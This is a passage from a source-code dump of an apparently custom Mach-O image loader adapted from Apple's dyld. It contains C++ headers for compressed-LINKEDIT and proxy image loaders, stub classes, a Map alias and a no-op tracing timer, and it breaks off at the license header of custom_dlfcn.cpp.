doImageInit(const LinkContext& context); 246 | void doModInitFunctions(const LinkContext& context); 247 | void setupLazyPointerHandler(const LinkContext& context); 248 | void lookupProgramVars(const LinkContext& context) const; 249 | 250 | void makeTextSegmentWritable(const LinkContext& context, bool writeable); 251 | 252 | 253 | void doInterpose(const LinkContext& context) = 0; 254 | bool hasReferencesToWeakSymbols() const; 255 | uintptr_t getSymbolAddress(const Symbol* sym, const ImageLoader* requestor, 256 | const LinkContext& context, bool runResolver) const; 257 | 258 | static uintptr_t bindLazySymbol(const mach_header*, uintptr_t* lazyPointer); 259 | protected: 260 | uint64_t fCoveredCodeLength; 261 | const uint8_t* fMachOData; 262 | const uint8_t* fLinkEditBase; // add any internal "offset" to this to get mapped address 263 | uintptr_t fSlide; 264 | uint32_t fEHFrameSectionOffset; 265 | uint32_t fUnwindInfoSectionOffset; 266 | uint32_t fDylibIDOffset; 267 | uint32_t fSegmentsCount : 8, 268 | fIsSplitSeg : 1, 269 | fInSharedCache : 1, 270 | #if TEXT_RELOC_SUPPORT 271 | fTextSegmentRebases : 1, 272 | fTextSegmentBinds : 1, 273 | #else 274 | fReadOnlyDataSegment : 1, 275 | #endif 276 | #if __i386__ 277 | fReadOnlyImportSegment : 1, 278 | #endif 279 | fHasSubLibraries : 1, 280 | fHasSubUmbrella : 1, 281 | fInUmbrella : 1, 282 | fHasDOFSections : 1, 283 | fHasDashInit : 1, 284 | fHasInitializers : 1, 285 | fHasTerminators : 1, 286 | fNotifyObjC : 1, 287 | fRetainForObjC : 1, 288 | fRegisteredAsRequiresCoalescing : 1, // Loading MH_DYLIB_STUB causing coalescable miscount 289 | fOverrideOfCacheImageNum : 12; 290 | 291 | 292 | static uint32_t fgSymbolTableBinarySearchs; 293 | }; 294 | } 295 | 296 | #endif // __IMAGELOADERMACHO__ 297 | 298 | 299 | 300 | 301 | -------------------------------------------------------------------------------- /loader/src/ImageLoaderMachOCompressed.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2008 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | 26 | #ifndef __IMAGELOADER_MACHO_COMPRESSED__ 27 | #define __IMAGELOADER_MACHO_COMPRESSED__ 28 | 29 | #include 30 | 31 | #include "ImageLoaderMachO.h" 32 | 33 | namespace isolator { 34 | 35 | // 36 | // ImageLoaderMachOCompressed is the concrete subclass of ImageLoader which loads mach-o files 37 | // that use the compressed LINKEDIT format. 38 | // 39 | class ImageLoaderMachOCompressed : public ImageLoaderMachO { 40 | public: 41 | static ImageLoaderMachOCompressed* instantiateMainExecutable(const macho_header* mh, uintptr_t slide, const char* path, 42 | unsigned int segCount, unsigned int libCount, const LinkContext& context); 43 | static ImageLoaderMachOCompressed* instantiateFromFile(const char* path, int fd, const uint8_t *fileData, size_t lenFileData, 44 | uint64_t offsetInFat, uint64_t lenInFat, const struct stat& info, 45 | unsigned int segCount, unsigned int libCount, 46 | const struct linkedit_data_command* codeSigCmd, 47 | const struct encryption_info_command* encryptCmd, 48 | const LinkContext& context); 49 | static ImageLoaderMachOCompressed* instantiateFromCache(const macho_header* mh, const char* path, long slide, const struct stat& info, 50 | unsigned int segCount, unsigned int libCount, const LinkContext& context); 51 | static ImageLoaderMachOCompressed* instantiateFromMemory(const char* moduleName, const macho_header* mh, uint64_t len, 52 | unsigned int segCount, unsigned int libCount, const LinkContext& context); 53 | 54 | 55 | virtual ~ImageLoaderMachOCompressed(); 56 | 57 | virtual ImageLoader* libImage(unsigned int) const; 58 | virtual bool libReExported(unsigned int) const; 59 | virtual bool libIsUpward(unsigned int) const; 60 | virtual void setLibImage(unsigned int, ImageLoader*, bool, bool); 61 | virtual void doBind(const LinkContext& context, bool forceLazysBound, const ImageLoader* reExportParent); 62 | virtual void doBindJustLazies(const LinkContext& context); 63 | virtual uintptr_t doBindLazySymbol(uintptr_t* lazyPointer, const LinkContext& context); 64 | virtual uintptr_t doBindFastLazySymbol(uint32_t lazyBindingInfoOffset, const LinkContext& context, void (*lock)(), void (*unlock)()); 65 | virtual const char* findClosestSymbol(const void* addr, const void** closestAddr) const; 66 | virtual void initializeCoalIterator(CoalIterator&, unsigned int loadOrder, unsigned); 67 | virtual bool incrementCoalIterator(CoalIterator&); 68 | virtual uintptr_t getAddressCoalIterator(CoalIterator&, const LinkContext& contex); 69 | virtual void updateUsesCoalIterator(CoalIterator&, uintptr_t newAddr, ImageLoader* target, unsigned targetIndex, const LinkContext& context); 70 | virtual void registerInterposing(const LinkContext& context); 71 | virtual bool usesChainedFixups() const; 72 | virtual void makeDataReadOnly() const; 73 | 74 | protected: 75 | virtual void doInterpose(const LinkContext& context); 76 | virtual void dynamicInterpose(const LinkContext& context); 77 | virtual void setDyldInfo(const dyld_info_command* dyldInfo) { fDyldInfo = dyldInfo; } 78 | virtual void setChainedFixups(const linkedit_data_command* fixups) { fChainedFixups = fixups; } 79 | virtual void setExportsTrie(const linkedit_data_command* trie) { fExportsTrie = trie; } 80 | virtual void setSymbolTableInfo(const macho_nlist*, const char*, const dysymtab_command*) {} 81 | virtual bool isSubframeworkOf(const LinkContext& context, const ImageLoader* image) const { return false; } 82 | virtual bool hasSubLibrary(const LinkContext& context, const ImageLoader* child) const { return false; } 83 | virtual uint32_t* segmentCommandOffsets() const; 84 | virtual void rebase(const LinkContext& context, uintptr_t slide); 85 | virtual const ImageLoader::Symbol* findShallowExportedSymbol(const char* name, const ImageLoader** foundIn) const; 86 | virtual bool containsSymbol(const void* addr) const; 87 | virtual uintptr_t exportedSymbolAddress(const LinkContext& context, const Symbol* symbol, const ImageLoader* requestor, bool runResolver) const; 88 | virtual bool exportedSymbolIsWeakDefintion(const Symbol* symbol) const; 89 | virtual const char* exportedSymbolName(const Symbol* symbol) const; 90 | virtual unsigned int exportedSymbolCount() const; 91 | virtual const ImageLoader::Symbol* exportedSymbolIndexed(unsigned int) const; 92 | virtual unsigned int importedSymbolCount() const; 93 | virtual const ImageLoader::Symbol* importedSymbolIndexed(unsigned int) const; 94 | virtual const char* importedSymbolName(const Symbol* symbol) const; 95 | #if PREBOUND_IMAGE_SUPPORT 96 | virtual void resetPreboundLazyPointers(const LinkContext& context); 97 | #endif 98 | virtual uintptr_t resolveWeak(const LinkContext& context, const char* symbolName, bool weak_import, bool runResolver, 99 | const ImageLoader** foundIn); 100 | 101 | 102 | private: 103 | struct LastLookup { long ordinal; uint8_t flags; const char* name; uintptr_t result; const ImageLoader* foundIn; }; 104 | 105 | 106 | typedef uintptr_t (^bind_handler)(const LinkContext& context, ImageLoaderMachOCompressed* image, uintptr_t addr, uint8_t type, 107 | const char* symbolName, uint8_t symboFlags, intptr_t addend, long libraryOrdinal, 108 | ExtraBindData *extraBindData, 109 | const char* msg, LastLookup* last, bool runResolver); 110 | 111 | void eachLazyBind(const LinkContext& context, bind_handler); 112 | void eachBind(const LinkContext& context, bind_handler); 113 | 114 | 115 | ImageLoaderMachOCompressed(const macho_header* mh, const char* path, unsigned int segCount, 116 | uint32_t segOffsets[], unsigned int libCount); 117 | static ImageLoaderMachOCompressed* instantiateStart(const macho_header* mh, const char* path, unsigned int segCount, unsigned int libCount); 118 | void instantiateFinish(const LinkContext& context); 119 | 120 | void rebaseAt(const LinkContext& context, uintptr_t addr, uintptr_t slide, uint8_t type); 121 | void throwBadRebaseAddress(uintptr_t address, uintptr_t segmentEndAddress, int segmentIndex, 122 | const uint8_t* startOpcodes, const uint8_t* endOpcodes, const uint8_t* pos); 123 | static uintptr_t bindAt(const LinkContext& context, ImageLoaderMachOCompressed* image, uintptr_t addr, uint8_t type, const char* symbolName, 124 | uint8_t symboFlags, intptr_t addend, long libraryOrdinal, 125 | ExtraBindData *extraBindData, 126 | const char* msg, 127 | LastLookup* last, bool runResolver=false); 128 | void bindCompressed(const LinkContext& context); 129 | void throwBadBindingAddress(uintptr_t address, uintptr_t segmentEndAddress, int segmentIndex, 130 | const uint8_t* startOpcodes, const uint8_t* endOpcodes, const uint8_t* pos); 131 | uintptr_t resolve(const LinkContext& context, const char* symbolName, 132 | uint8_t symboFlags, long libraryOrdinal, const ImageLoader** targetImage, 133 | LastLookup* last = NULL, bool runResolver=false); 134 | uintptr_t resolveFlat(const LinkContext& context, const char* symbolName, bool weak_import, bool runResolver, 135 | const ImageLoader** foundIn); 136 | uintptr_t resolveCoalesced(const LinkContext& context, const char* symbolName, const ImageLoader** foundIn); 137 | uintptr_t resolveTwolevel(const LinkContext& context, const char* symbolName, const ImageLoader* definedInImage, 138 | const ImageLoader* requestorImage, unsigned requestorOrdinalOfDef, bool weak_import, bool runResolver, 139 | const ImageLoader** foundInn); 140 | static uintptr_t interposeAt(const LinkContext& context, ImageLoaderMachOCompressed* image, uintptr_t addr, uint8_t type, const char*, 141 | uint8_t, intptr_t, long, 142 | ExtraBindData *extraBindData, 143 | const char*, LastLookup*, bool runResolver); 144 | static uintptr_t dynamicInterposeAt(const LinkContext& context, ImageLoaderMachOCompressed* image, uintptr_t addr, uint8_t type, const char*, 145 | uint8_t, intptr_t, long, 146 | ExtraBindData *extraBindData, 147 | const char*, LastLookup*, bool runResolver); 148 | void updateOptimizedLazyPointers(const LinkContext& context); 149 | void updateAlternateLazyPointer(uint8_t* stub, void** originalLazyPointerAddr, const LinkContext& context); 150 | void registerEncryption(const struct encryption_info_command* encryptCmd, const LinkContext& context); 151 | #if !UNSIGN_TOLERANT 152 | void doApplyFixups(const LinkContext& context, const dyld_chained_fixups_header* fixupsHeader); 153 | #endif 154 | const struct dyld_info_command* fDyldInfo; 155 | const struct linkedit_data_command* fChainedFixups; 156 | const struct linkedit_data_command* fExportsTrie; 157 | }; 158 | 159 | } 160 | 161 | #endif // __IMAGELOADER_MACHO_COMPRESSED__ 162 | 163 | 164 | 165 | 166 | -------------------------------------------------------------------------------- /loader/src/ImageLoaderProxy.cpp: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2021 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | #include "ImageLoaderProxy.h" 26 | #include 27 | #include 28 | 29 | namespace isolator { 30 | 31 | ImageLoaderProxy* ImageLoaderProxy::instantiate(const char* modulePath) { 32 | std::string moduleName_str = modulePath; 33 | 34 | // we cannot handle rpath properly. So there are two cases to support: 35 | // * Load by absolute path, rare case for iOS 36 | // * Load by file name. Assume that moduleName format is "@rpath/libXXX.dylib". 37 | // Have to just remove rpath prefix. 38 | std::string prefix = "@rpath/"; 39 | if (!moduleName_str.compare(0, prefix.size(), prefix)) 40 | moduleName_str.erase(0, prefix.size()); 41 | 42 | return new ImageLoaderProxy(moduleName_str.c_str()); 43 | } 44 | 45 | ImageLoaderProxy* ImageLoaderProxy::instantiateDefault() { 46 | static ImageLoaderProxy _loader = ImageLoaderProxy(); 47 | return &_loader; 48 | } 49 | 50 | ImageLoaderProxy::ImageLoaderProxy(): ImageLoaderUnimplementedStub("", 0), hdl(RTLD_DEFAULT) {} 51 | 52 | ImageLoaderProxy::ImageLoaderProxy(const char* modulePath): ImageLoaderUnimplementedStub(modulePath, 0) { 53 | hdl = dlopen(modulePath, RTLD_NOW); 54 | if (!hdl) 55 | dyld::throwf("ImageLoaderProxy: cannot load image %s \n\n reason: %s", modulePath, dlerror()); 56 | } 57 | 58 | ImageLoaderProxy::~ImageLoaderProxy() { 59 | if (hdl) 60 | dlclose(hdl); 61 | } 62 | 63 | const ImageLoader::Symbol* ImageLoaderProxy::findExportedSymbol(const char* name, bool searchReExports, 64 | const char* thisPath, const ImageLoader** foundIn) const { 65 | // TODO: dyld_stub_binder is special function from libdyld.dylib which 66 | // doesn't available via regular dlopen/dlsym interface cause it looks 67 | // only for underscored export symbols. 68 | // === 69 | // So will return any func pointer(like "instantiate") and hope it will 70 | // be called never. Because it requires only for week binding, but we 71 | // enforced immediate flat binding. 72 | if (std::string(name) == "dyld_stub_binder") { 73 | *foundIn = this; 74 | return reinterpret_cast(instantiate); 75 | } 76 | 77 | if (name[0] == '_') // remove leading underscore 78 | name ++; 79 | 80 | auto sym = reinterpret_cast(dlsym(hdl, name)); 81 | 82 | if (sym) { 83 | *foundIn = this; 84 | return sym; 85 | } else { 86 | *foundIn = nullptr; 87 | return nullptr; 88 | } 89 | } 90 | 91 | uintptr_t ImageLoaderProxy::getExportedSymbolAddress(const ImageLoader::Symbol* sym, const ImageLoader::LinkContext& context, 92 | const ImageLoader* requestor, bool runResolver, const char* symbolName) const { 93 | return reinterpret_cast(sym); 94 | } 95 | 96 | } -------------------------------------------------------------------------------- /loader/src/ImageLoaderProxy.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2021 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | #ifndef __IMAGELOADER_PROXY__ 26 | #define __IMAGELOADER_PROXY__ 27 | 28 | #include "ImageLoaderMachO.h" 29 | 30 | namespace isolator { 31 | 32 | /** 33 | * Stub implementations of all virtual methods of ImageLoader interface. 34 | * Major part of methods will throw exception in case of call. Some of 35 | * them will return valid default values like false, zero or do nothing. 36 | * 37 | * Can be use as a base class for other inherited implementations to avoid 38 | * stubs reimplementation. 39 | */ 40 | class ImageLoaderUnimplementedStub : public ImageLoader { 41 | using ImageLoader::ImageLoader; 42 | private: 43 | #define UNIMPLEMENTED_METHOD { dyld::throwf("ImageLoaderProxy: unimplemented method"); } 44 | #define STUB_METHOD(_val) { return _val; } 45 | #define STUB_NOTHING { } 46 | 47 | /** Unimplemented method section. They should be called never */ 48 | virtual void initializeCoalIterator(CoalIterator&, unsigned int loadOrder, unsigned imageIndex) UNIMPLEMENTED_METHOD; 49 | virtual bool incrementCoalIterator(CoalIterator&) UNIMPLEMENTED_METHOD; 50 | virtual uintptr_t getAddressCoalIterator(CoalIterator&, const LinkContext& context) UNIMPLEMENTED_METHOD; 51 | virtual void updateUsesCoalIterator(CoalIterator&, uintptr_t newAddr, ImageLoader* target, unsigned targetIndex, const LinkContext& context) UNIMPLEMENTED_METHOD; 52 | 53 | virtual const char* getInstallPath() const UNIMPLEMENTED_METHOD; 54 | 55 | virtual bool containsSymbol(const void* addr) const UNIMPLEMENTED_METHOD; 56 | virtual void* getEntryFromLC_MAIN() const UNIMPLEMENTED_METHOD; 57 | virtual void* getEntryFromLC_UNIXTHREAD() const UNIMPLEMENTED_METHOD; 58 | virtual const struct mach_header* machHeader() const UNIMPLEMENTED_METHOD; 59 | virtual uintptr_t getSlide() const UNIMPLEMENTED_METHOD; 60 | virtual const void* getEnd() const UNIMPLEMENTED_METHOD; 61 | virtual bool hasCoalescedExports() const UNIMPLEMENTED_METHOD; 62 | virtual const Symbol* findExportedSymbol(const char* name, bool searchReExports, const char* thisPath, const ImageLoader** foundIn) const UNIMPLEMENTED_METHOD; 63 | virtual uintptr_t getExportedSymbolAddress(const ImageLoader::Symbol* sym, const ImageLoader::LinkContext& context, 64 | const ImageLoader* requestor, bool runResolver, const char* symbolName) const UNIMPLEMENTED_METHOD; 65 | 66 | virtual DefinitionFlags getExportedSymbolInfo(const Symbol* sym) const UNIMPLEMENTED_METHOD; 67 | virtual const char* getExportedSymbolName(const Symbol* sym) const UNIMPLEMENTED_METHOD; 68 | virtual uint32_t getExportedSymbolCount() const UNIMPLEMENTED_METHOD; 69 | virtual const Symbol* getIndexedExportedSymbol(uint32_t index) const UNIMPLEMENTED_METHOD; 70 | 71 | virtual uint32_t getImportedSymbolCount() const UNIMPLEMENTED_METHOD; 72 | virtual const Symbol* getIndexedImportedSymbol(uint32_t index) const UNIMPLEMENTED_METHOD; 73 | virtual ReferenceFlags getImportedSymbolInfo(const Symbol* sym) const UNIMPLEMENTED_METHOD; 74 | virtual const char* getImportedSymbolName(const Symbol* sym) const UNIMPLEMENTED_METHOD; 75 | virtual const char* findClosestSymbol(const void* addr, const void** closestAddr) const UNIMPLEMENTED_METHOD; 76 | virtual bool isBundle() const UNIMPLEMENTED_METHOD; 77 | virtual bool isDylib() const UNIMPLEMENTED_METHOD; 78 | virtual bool isExecutable() const UNIMPLEMENTED_METHOD; 79 | virtual bool isPositionIndependentExecutable() const UNIMPLEMENTED_METHOD; 80 | virtual bool forceFlat() const UNIMPLEMENTED_METHOD; 81 | virtual uintptr_t doBindLazySymbol(uintptr_t* lazyPointer, const LinkContext& context) UNIMPLEMENTED_METHOD; 82 | virtual uintptr_t doBindFastLazySymbol(uint32_t lazyBindingInfoOffset, const LinkContext& context, void (*lock)(), void (*unlock)()) UNIMPLEMENTED_METHOD; 83 | virtual void doTermination(const LinkContext& context) UNIMPLEMENTED_METHOD; 84 | virtual bool needsInitialization() UNIMPLEMENTED_METHOD; 85 | virtual bool getSectionContent(const char* segmentName, const char* sectionName, void** start, size_t* length) UNIMPLEMENTED_METHOD; 86 | #if !UNSIGN_TOLERANT 87 | virtual void getUnwindInfo(dyld_unwind_sections* info) = 0; 88 | #endif 89 | virtual const struct macho_section* findSection(const void* imageInterior) const UNIMPLEMENTED_METHOD; 90 | virtual bool findSection(const void* imageInterior, const char** segmentName, const char** sectionName, size_t* sectionOffset) UNIMPLEMENTED_METHOD; 91 | virtual bool isPrebindable() const UNIMPLEMENTED_METHOD; 92 | virtual bool usablePrebinding(const LinkContext& context) const UNIMPLEMENTED_METHOD; 93 | virtual void getRPaths(const LinkContext& context, std::vector&) const STUB_NOTHING; 94 | virtual bool participatesInCoalescing() const UNIMPLEMENTED_METHOD; 95 | virtual bool getUUID(uuid_t) const UNIMPLEMENTED_METHOD; 96 | virtual void dynamicInterpose(const LinkContext& context) UNIMPLEMENTED_METHOD; 97 | 98 | virtual const char* libPath(unsigned int) const UNIMPLEMENTED_METHOD; 99 | virtual unsigned int segmentCount() const UNIMPLEMENTED_METHOD; 100 | virtual const char* segName(unsigned int) const UNIMPLEMENTED_METHOD; 101 | virtual uintptr_t segSize(unsigned int) const UNIMPLEMENTED_METHOD; 102 | virtual uintptr_t segFileSize(unsigned int) const UNIMPLEMENTED_METHOD; 103 | virtual bool segHasTrailingZeroFill(unsigned int) UNIMPLEMENTED_METHOD; 104 | virtual uintptr_t segFileOffset(unsigned int) const UNIMPLEMENTED_METHOD; 105 | virtual bool segReadable(unsigned int) const UNIMPLEMENTED_METHOD; 106 | virtual bool segWriteable(unsigned int) const UNIMPLEMENTED_METHOD; 107 | virtual bool segExecutable(unsigned int) const UNIMPLEMENTED_METHOD; 108 | virtual bool segUnaccessible(unsigned int) const UNIMPLEMENTED_METHOD; 109 | virtual bool segHasPreferredLoadAddress(unsigned int) const UNIMPLEMENTED_METHOD; 110 | virtual uintptr_t segPreferredLoadAddress(unsigned int) const UNIMPLEMENTED_METHOD; 111 | virtual uintptr_t segActualLoadAddress(unsigned int) const UNIMPLEMENTED_METHOD; 112 | virtual uintptr_t segActualEndAddress(unsigned int) const UNIMPLEMENTED_METHOD; 113 | virtual uint32_t sdkVersion() const UNIMPLEMENTED_METHOD; 114 | virtual uint32_t minOSVersion() const UNIMPLEMENTED_METHOD; 115 | virtual void registerInterposing(const LinkContext& context) UNIMPLEMENTED_METHOD; 116 | 117 | virtual ImageLoader* libImage(unsigned int) const UNIMPLEMENTED_METHOD; 118 | virtual bool libReExported(unsigned int) const UNIMPLEMENTED_METHOD; 119 | virtual bool libIsUpward(unsigned int) const UNIMPLEMENTED_METHOD; 120 | virtual void setLibImage(unsigned int, ImageLoader*, bool, bool) UNIMPLEMENTED_METHOD; 121 | virtual void doGetDependentLibraries(DependentLibraryInfo libs[]) STUB_NOTHING; 122 | virtual LibraryInfo doGetLibraryInfo(const LibraryInfo& requestorInfo) { return {}; }; 123 | virtual void doRebase(const LinkContext& context) STUB_NOTHING; 124 | virtual void doBind(const LinkContext& context, bool forceLazysBound, const ImageLoader* reExportParent) STUB_NOTHING; 125 | virtual void doBindJustLazies(const LinkContext& context) UNIMPLEMENTED_METHOD; 126 | virtual void doGetDOFSections(const LinkContext& context, std::vector& dofs) UNIMPLEMENTED_METHOD; 127 | virtual void doInterpose(const LinkContext& context) UNIMPLEMENTED_METHOD; 128 | virtual bool doInitialization(const LinkContext& context) STUB_METHOD(false); 129 | virtual bool needsTermination() STUB_METHOD(false); 130 | virtual bool segmentsMustSlideTogether() const UNIMPLEMENTED_METHOD; 131 | virtual bool segmentsCanSlide() const UNIMPLEMENTED_METHOD; 132 | virtual void setSlide(intptr_t slide) UNIMPLEMENTED_METHOD; 133 | virtual bool isSubframeworkOf(const LinkContext& context, const ImageLoader* image) const STUB_METHOD(false); 134 | virtual bool hasSubLibrary(const LinkContext& context, const ImageLoader* child) const STUB_METHOD(false); 135 | #undef UNIMPLEMENTED_METHOD 136 | }; 137 | 138 | /** 139 | * Proxy Image Loader is a wrapper on top of regular system dlopen/dlsym 140 | * methods. It provides a minimal interface to use inside recursive load 141 | * of shared modules. 142 | */ 143 | class ImageLoaderProxy : public ImageLoaderUnimplementedStub { 144 | public: 145 | /** 146 | * Construct ImageLoaderProxy based on modulePath. 147 | * Will look up symbols in this module and dependencies. 148 | * 149 | * Note: limited(minimal) support of rpath specification. 150 | */ 151 | static ImageLoaderProxy* instantiate(const char* modulePath); 152 | 153 | /** 154 | * Construct ImageLoaderProxy based on RTLD_DEFAULT. 155 | * Will look up symbols in global space 156 | */ 157 | static ImageLoaderProxy* instantiateDefault(); 158 | 159 | virtual ~ImageLoaderProxy(); 160 | 161 | virtual const Symbol* findExportedSymbol(const char* name, bool searchReExports, const char* thisPath, const ImageLoader** foundIn) const; 162 | 163 | virtual uintptr_t getExportedSymbolAddress(const ImageLoader::Symbol* sym, const ImageLoader::LinkContext& context, 164 | const ImageLoader* requestor, bool runResolver, const char* symbolName) const; 165 | 166 | private: 167 | ImageLoaderProxy(const char* moduleName); 168 | ImageLoaderProxy(); 169 | void* hdl = 0; 170 | }; 171 | 172 | } // namespace isolator 173 | 174 | #endif // __IMAGELOADER_PROXY__ 175 | -------------------------------------------------------------------------------- /loader/src/Map.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2021 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | /* 26 | * This file contains Map alias to std::unordered_map 27 | */ 28 | 29 | #ifndef __MAP__ 30 | #define __MAP__ 31 | 32 | #include 33 | 34 | // Is not used in this header. Just to provide missing structs and functions 35 | // previously available in dyld2.h 36 | #include "dyld_stubs.h" 37 | 38 | // Is not used in this header. Just for compatibility with original sources 39 | // where Map provide declaration of Array class. 40 | #include "Array.h" 41 | 42 | namespace isolator { 43 | namespace dyld3 { 44 | 45 | template 46 | struct HashAdopter : private HS { 47 | size_t operator()( const T& a) const { return HS::hash(a); } 48 | }; 49 | 50 | template 51 | struct EqualAdopter : private EQ { 52 | bool operator()( const T& a, const T& b ) const { return EQ::equal(a, b); } 53 | }; 54 | 55 | template 56 | using Map = std::unordered_map, EqualAdopter>; 57 | 58 | } 59 | } 60 | 61 | #endif // __MAP__ 62 | -------------------------------------------------------------------------------- /loader/src/Tracing.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2021 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | 25 | /* 26 | * This file contains ScopedTimer stub implementation which will do nothing 27 | */ 28 | 29 | #ifndef __TRACING__ 30 | #define __TRACING__ 31 | 32 | #define DYLD_EXIT_REASON_DYLIB_MISSING 1 33 | #define DYLD_EXIT_REASON_DYLIB_WRONG_ARCH 2 34 | #define DYLD_EXIT_REASON_DYLIB_WRONG_VERSION 3 35 | #define DYLD_EXIT_REASON_SYMBOL_MISSING 4 36 | #define DYLD_EXIT_REASON_CODE_SIGNATURE 5 37 | #define DYLD_EXIT_REASON_FILE_SYSTEM_SANDBOX 6 38 | #define DYLD_EXIT_REASON_MALFORMED_MACHO 7 39 | 40 | #define DBG_DYLD_TIMING_STATIC_INITIALIZER 1 41 | #define DBG_DYLD_TIMING_APPLY_FIXUPS 2 42 | #define DBG_DYLD_TIMING_ATTACH_CODESIGNATURE 3 43 | #define DBG_DYLD_TIMING_APPLY_INTERPOSING 4 44 | 45 | namespace isolator { 46 | namespace dyld3 { 47 | 48 | /** 49 | * @brief Empty stub implementation. Just to meet compilation requirements. Do nothing. 50 | */ 51 | class ScopedTimer { 52 | public: 53 | ScopedTimer(uint32_t arg0, uint64_t arg1, uint64_t arg2, uint64_t arg3) {} 54 | }; 55 | 56 | } 57 | } 58 | 59 | #endif // __TRACING__ -------------------------------------------------------------------------------- /loader/src/custom_dlfcn.cpp: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2004-2010 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 